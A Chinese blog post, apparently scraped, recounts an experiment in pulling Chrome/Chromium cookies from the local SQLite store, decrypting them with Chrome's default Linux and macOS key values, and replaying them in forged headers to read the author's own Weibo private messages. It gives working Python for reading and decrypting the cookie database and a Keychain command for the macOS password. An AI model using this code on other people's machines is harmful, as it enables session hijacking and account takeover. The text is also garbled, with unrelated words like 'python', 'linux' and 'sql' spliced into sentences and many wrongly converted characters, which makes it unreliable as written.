記得仍是在學Qt編程的時候,作過一個練手項目,產品是一個搜索Chrome的cookie內容的小軟件。Chrome的cookie保存在用戶目錄的一個sqlite文件中,具體路徑上網搜一下就知道了。當時比較天真,想看看cookie裏面有沒有明文保存的密碼,結果固然是獲得一堆亂碼,最後就不了了之了。
直到前幾天,我正在網上看一篇關於cookie的文章,突然想起一件事情,我須要密碼的緣由無非是用來登陸,我既然有了cookie直接發給服務器就能夠了,又有什麼必要了解cookie的內容?我順手用chrome打開了微博私信查看下它的請求流程:
html
貌似理論上沒有什麼問題,不過仍是要作個試驗驗證一下,我準備嘗試用python寫個小程序模擬瀏覽器向微博服務器發起私信消息的頁面請求。python
固然首先仍是讓個人小夥伴給我發條私信:
linux
整個實驗我簡單的做了個概念圖:
web
實驗主要分爲如下幾個步驟:
* 從chrome的sqlite文件中提取cookie
* 模擬瀏覽器組裝header
* 向服務器發起目標頁面的請求sql
chrome的cookie保存路徑在三大操做系統Windows、Linux和OSX上都不盡相同,以linux爲例,它的保存路徑就是~/.config/chromium/Default/Cookies
,咱們先用sqlite3程序把這個文件載入進來看看:
chrome
cookie信息都保存在表cookies
中,可是纔剛開始就出現了意想不到的問題:數據庫
表裏面的值和記憶中的大部分都是同樣的,惟獨最重要的value一項,竟然是空的,而在末尾卻是多了個encrypted_value
項。谷歌了一下,瞭解到在chrome版本33以前,cookie都是直接存儲的,在33+以後,谷歌開始對cookie的信息進行了加密。順便感慨下時光飛逝,不知不覺又老了幾個版本。chrome在windows上加密採用的是CryptUnprotectData函數,解密方法你們能夠看這裏。Linux和OSX上的加密方法類似,都採用的是AES(CBC)加密方法,瞭解密碼學的都知道對這個數據進行解密至少須要好幾個值,salt,key length,iv,password,iterations等等。不過不幸的是一位國外的網友n8henrie在瀏覽了chromium源碼以後把這些值通通找到了,如下是他原話:編程
b'saltysalt'
16
iv
is 16 bytes of space b' ' * 16
Mac OSX
:password
is in keychain under Chrome Safe Storage
security find-generic-password -w -s "Chrome Safe Storage"
1003
peanuts
1
順便貼出他給出的源代碼(多是原做者的失誤,在clean函數中忘記調用了ord函數,特此補上):小程序
#! /usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Protocol.KDF import PBKDF2 # Function to get rid of padding def clean(x): return x[:-ord(x[-1])].decode('utf8') # replace with your encrypted_value from sqlite3 encrypted_value = ENCRYPTED_VALUE # Trim off the 'v10' that Chrome/ium prepends encrypted_value = encrypted_value[3:] # Default values used by both Chrome and Chromium in OSX and Linux salt = b'saltysalt' iv = b' ' * 16 length = 16 # On Mac, replace MY_PASS with your password from Keychain # On Linux, replace MY_PASS with 'peanuts' my_pass = MY_PASS my_pass = my_pass.encode('utf8') # 1003 on Mac, 1 on Linux iterations = 1003 key = PBKDF2(my_pass, salt, length, iterations) cipher = AES.new(key, AES.MODE_CBC, IV=iv) decrypted = cipher.decrypt(encrypted_value) print(clean(decrypted))
我稍微改了下源代碼,對上圖header裏的cookie的第一項嘗試進行解密:windows
from Crypto.Cipher import AES from Crypto.Protocol.KDF import PBKDF2 def clean(x): return x[:-ord(x[-1])].decode('utf8') def decrypt(encrypted_value): encrypted_value = encrypted_value[3:] salt = b'saltysalt' iv = b' ' * 16 length = 16 my_pass = 'peanuts' my_pass = my_pass.encode('utf8') iterations = 1 key = PBKDF2(my_pass, salt, length, iterations) cipher = AES.new(key, AES.MODE_CBC, IV=iv) decrypted = cipher.decrypt(encrypted_value) return clean(decrypted) cx = sqlite3.connect(os.path.expandvars('$HOME') + '/.config/chromium/Default/Cookies') cu = cx.cursor() cu.execute("select * from cookies where host_key = '.weibo.com' and name = 'SINAGLOBAL'") res = cu.fetchone() print decrypt(res[len(res)-1])
結果顯示n8henrie給出的值確實是正確的,解密成功。
這個值咱們不知道有什麼意義,由於原本就不須要,直接把它發給服務器就好,服務器本身知道怎麼解密的。
cookie值解密出來以後,感受就像是忽然變成了宿管阿姨,手裏握着整棟宿舍的鑰匙。
組裝header這裏比較容易了,基本上照着上面截下來的Chrome的header照抄就行了,不過要注意的是記得把Accept-Encoding:gzip,deflate,sdch
這一項去掉,否則返回的數據是通過壓縮的,最後再加上解密出來的cookie,一個完整的header就出來了。
import sqlite3 import urllib2 import os cx = sqlite3.connect(os.path.expandvars('$HOME') + '/.config/chromium/Default/Cookies') cu = cx.cursor() cu.execute("select * from cookies where host_key = '.weibo.com'") cookies = '' for res in cu.fetchall(): cookies += res[2] + '=' + decrypt(res[len(res)-1]) + '; ' url = 'http://weibo.com/messages' header = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', #'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6,ja;q=0.4,zh-TW;q=0.2', 'Cache-Control': 'max-age=0', 'Connection': 'keep-alive', 'Host': 'weibo.com', 'Cookie': cookies, 'User-Agent': 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/40.0.2214.111 Chrome/40.0.2214.111 Safari/537.36' } request = urllib2.Request(url, headers=header)
最後一步發送請求,把返回的數據打開看一下,私信消息已經在裏面了。
沒想到整個過程還算是比較順利的,並且仍是在linux平臺。隨後我又在windows和OSX上進行了試驗,windows的解密要更簡單一點,而在OSX上獲取Chrome Safe Storage
的password
的時候系統提醒須要獲取受權,也就是說從目前來看只有蘋果系擋住了此次攻擊。不得不說cookie確實給咱們帶來了太多的便利,可是與此同時也犧牲了太多的安全性,網絡發展到今天不少事情已經超出可控的範圍,尤爲是在中國這種軟件氛圍,誰知道各大軟件產商有什麼作不出來的,想要保護好本身,只能靠本身平時多長點心眼了。
最後感謝下caixpp童鞋發了封私信,還有,用完數據庫記得close。